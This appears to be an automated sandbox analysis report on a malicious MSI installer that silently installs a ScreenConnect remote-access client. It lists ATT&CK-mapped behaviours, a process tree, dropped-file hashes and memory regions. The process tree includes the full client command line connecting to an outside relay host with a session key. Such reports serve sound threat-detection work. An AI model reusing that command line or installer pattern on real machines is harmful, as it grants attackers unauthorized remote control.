Analysis

  • max time kernel
    137s
  • max time network
    138s
  • platform
    windows11-21h2_x64
  • resource
    win11-20250619-en
  • resource tags

    arch:x64arch:x86image:win11-20250619-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    17/08/2025, 08:27

General

  • Target
    relay.year000001.com.msi
  • Size 10.7MB
  • Sample250817-kcpg4atwft
  • SHA256 6eb97a0f7fe52f2cd9bdf02b5c0858c17e66c69d7d3cebf093c8e024366fe141
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Sets service image path in registry 2 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 22 IoCs
  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 9 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\relay.year000001.com.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:1344
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2876
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 71EA07EAF086AE8D5690DF9B605E3FE2 C
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1936
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI8D0D.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240619093 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3388
    • C:\Windows\system32\srtasks.exe
      C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
      2⤵
        PID:4908
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding DC9C4D4D8DCB263277A31F0BF9DCFAEB
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5660
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 5F887A05FC0E3E9561B4E2FDF2714F42 E Global\MSI0000
        2⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:4564
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Checks SCSI registry key(s)
      PID:4812
    • C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=relay.year000001.com&p=8041&s=36b2f558-faa8-487e-896b-76aa923f48de&k=BgIAAACkAABSU0ExAAgAAAEAAQBppsZZLDae71bIGmpfEjrne%2f%2bnyjJ4srknXOhxZe8gdzcYeSqdDa4%2fBLNlTOlstJm8Vw2wG9AMQNErDS7FWSIth2qUGkikllgPTeq7tOtw0NXf32oGZvLzFB1KMz5tswUSbIEUj8EIULJL2P6p1ooFq%2bB0LJ6BQtR8qPAy2QbKMVLUvE%2fCX6DoMRDgWhVvhtKdf6DkkOkvgy1er7vwweS6e5Xf%2bIuF%2fdpiazqAsMbNDObHCVyTxdnCLl7xiToKwYs6XijnER2Hpj3dw3MvRSNkbnGVJeXDB3CqvoYEe0xORSsbHXQQQruOV83aUPmjYq%2bAIbz5QxXgM0UdAfNnVjmf"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5804
      • C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsClient.exe" "RunRole" "c6cc44ba-9509-45a7-bf95-341d37e68d3f" "User"
        2⤵
        • Executes dropped EXE
        PID:656

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e57cc2a.rbs

          • Path C:\Config.Msi\e57cc2a.rbs
          • Size 214KB
          • SHA256 e947ff662fd0834497a24f608f8b41c1bd129a449cda4eb319560ba2fe7377db
          • MD5 SHA1 SHA512 SSDEEP

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\Client.en-US.resources
          • Size 49KB
          • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
          • MD5 SHA1 SHA512 SSDEEP

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\Client.resources
          • Size 33KB
          • SHA256 e0d0e5d951ef955f22d110b65b3fedfb8b1710491563d7c541f5e3d9fd4ccee8
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6592138bddf2214bd70db895c60241c9b0859100a97450ea735a6fe8e119568c
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.ClientService.dll
          • Size 67KB
          • SHA256 83fa3deb1316916374d1049581ef4875787d631e8a2ba36aa048581d1db8ba3a
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 c2784acaec0363bc41b6737d45f478840a46d83751798d26260f2b3e69289c32
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsClient.exe
          • Size 595KB
          • SHA256 5f8a8d3dd1d3ecdd26b93fdb2850e27d9145e15d576ffa93c529325d48582fdb
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 838KB
          • SHA256 c36e1b629985cf5379733de9c2d645446cb3333f8660bf137a46fb227ef170e4
          • MD5 SHA1 SHA512 SSDEEP

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\app.config
          • Size 2KB
          • SHA256 9641098a7fd6a56232b46ab3cfdd4fe048aa3980dd777f197418f0800cf81d54
          • MD5 SHA1 SHA512

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (4fa6deb55b683867)\system.config
          • Size 942B
          • SHA256 f4e17ac69561abf45869af2eb4378badf15990d292227e2b4f83e87b195975b3
          • MD5 SHA1 SHA512

          MSI8D0D.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8D0D.tmp
          • Size 1.0MB
          • SHA256 3b0e915654bb9f73d5a8014900038b0800c22b95fa7714c92b299f0338680f1d
          • MD5 SHA1 SHA512 SSDEEP

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8D0D.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Core.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8D0D.tmp-\ScreenConnect.Core.dll
          • Size 539KB
          • SHA256 9e46723c0dc0e6869481507318f918d656a55bcfeb6360302c7d1e73b0b89b44
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.InstallerActions.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8D0D.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 086d9efd83c4def236360f3665c0b8d4d214d6afaf12793599431b03e9fcdc38
          • MD5 SHA1 SHA512 SSDEEP

          ScreenConnect.Windows.dll

          • Path C:\Users\Admin\AppData\Local\Temp\MSI8D0D.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 aa157aa8d2d18e885c7778991902691fde0e8434556324400a79d0747b84e034
          • MD5 SHA1 SHA512 SSDEEP

          MSICE5D.tmp

          • Path C:\Windows\Installer\MSICE5D.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP

          e57cc29.msi

          • Path C:\Windows\Installer\e57cc29.msi
          • Size 10.7MB
          • SHA256 6eb97a0f7fe52f2cd9bdf02b5c0858c17e66c69d7d3cebf093c8e024366fe141
          • MD5 SHA1 SHA512 SSDEEP

          metadata-2

          • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
          • Size 24.6MB
          • SHA256 dffa191ac28c3a7b26c4bb2dea21f739abdadec0b5cde6608d6941a1b61165f0
          • MD5 SHA1 SHA512 SSDEEP

          {04377140-eec4-4bcb-b444-ac690acc780d}_OnDiskSnapshotProp

          • Path \??\Volume{d216f574-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{04377140-eec4-4bcb-b444-ac690acc780d}_OnDiskSnapshotProp
          • Size 6KB
          • SHA256 92288884b38ff02f0397c2c50680a11cc724e07fd3a515c2c8ac759997040bfc
          • MD5 SHA1 SHA512 SSDEEP

          memory/656-127-0x00000000002F0000-0x0000000000388000-memory.dmp

          memory/656-128-0x0000000000D00000-0x0000000000D36000-memory.dmp

          memory/656-133-0x0000000000D40000-0x0000000000D58000-memory.dmp

          memory/656-134-0x0000000000D60000-0x0000000000DA1000-memory.dmp

          memory/656-132-0x0000000000AA0000-0x0000000000AB8000-memory.dmp

          memory/656-131-0x000000001C8D0000-0x000000001CA58000-memory.dmp

          memory/656-129-0x000000001B430000-0x000000001B4BE000-memory.dmp

          memory/656-130-0x000000001B670000-0x000000001B81C000-memory.dmp

          memory/3388-26-0x0000000004D50000-0x0000000004DDE000-memory.dmp

          memory/3388-30-0x0000000004F90000-0x000000000513C000-memory.dmp

          memory/3388-31-0x00000000056F0000-0x0000000005C96000-memory.dmp

          memory/3388-22-0x0000000004CB0000-0x0000000004CBA000-memory.dmp

          memory/3388-18-0x0000000004C70000-0x0000000004C9E000-memory.dmp

          memory/5804-115-0x0000000004A10000-0x0000000004A46000-memory.dmp

          memory/5804-116-0x0000000004AF0000-0x0000000004B82000-memory.dmp

          memory/5804-86-0x0000000001E60000-0x0000000001E78000-memory.dmp

          memory/5804-118-0x0000000004A50000-0x0000000004A91000-memory.dmp

          memory/5804-111-0x00000000049C0000-0x0000000004A10000-memory.dmp

          memory/5804-120-0x0000000004CE0000-0x0000000004DB5000-memory.dmp